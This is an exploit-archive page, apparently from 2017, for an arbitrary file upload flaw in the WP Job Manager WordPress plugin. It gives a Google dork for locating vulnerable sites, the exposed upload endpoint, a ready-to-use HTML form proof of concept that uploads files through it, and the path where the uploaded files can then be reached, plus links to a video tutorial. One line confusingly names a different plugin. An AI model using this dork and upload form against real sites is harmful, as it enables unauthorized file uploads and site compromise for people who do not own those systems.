WordPress Plugins WP Job Manager - Arbitrary File Upload

2017.06.02

AlHikam AM (ID)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: inurl:/wp-content/plugins/wp-job-manager/

Google Dork : inurl:/wp-content/plugins/wp-job-manager/
Exploit : https://localhost/jm-ajax/upload_file/
Vulnerability : FormCraft {"files":[]}

PoC :
<form method="POST" action="https://localhost/jm-ajax/upload_file/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<button>Upload!</button><br/>
</form>

File Access : https://localhost/wp-content/uploads/job-manager-uploads/files/YYYY/MM/your-files.jpg

Great : Indonesian Freedom Security - Base POM303

References:

Video Tutorial,

https://youtu.be/CF9aAXznkOQ

Pict References,

http://i.imgur.com/o6fVE4d.jpg

http://i.imgur.com/E2K4Jux.jpg

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

WordPress Plugins WP Job Manager - Arbitrary File Upload

Dork: inurl:/wp-content/plugins/wp-job-manager/

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.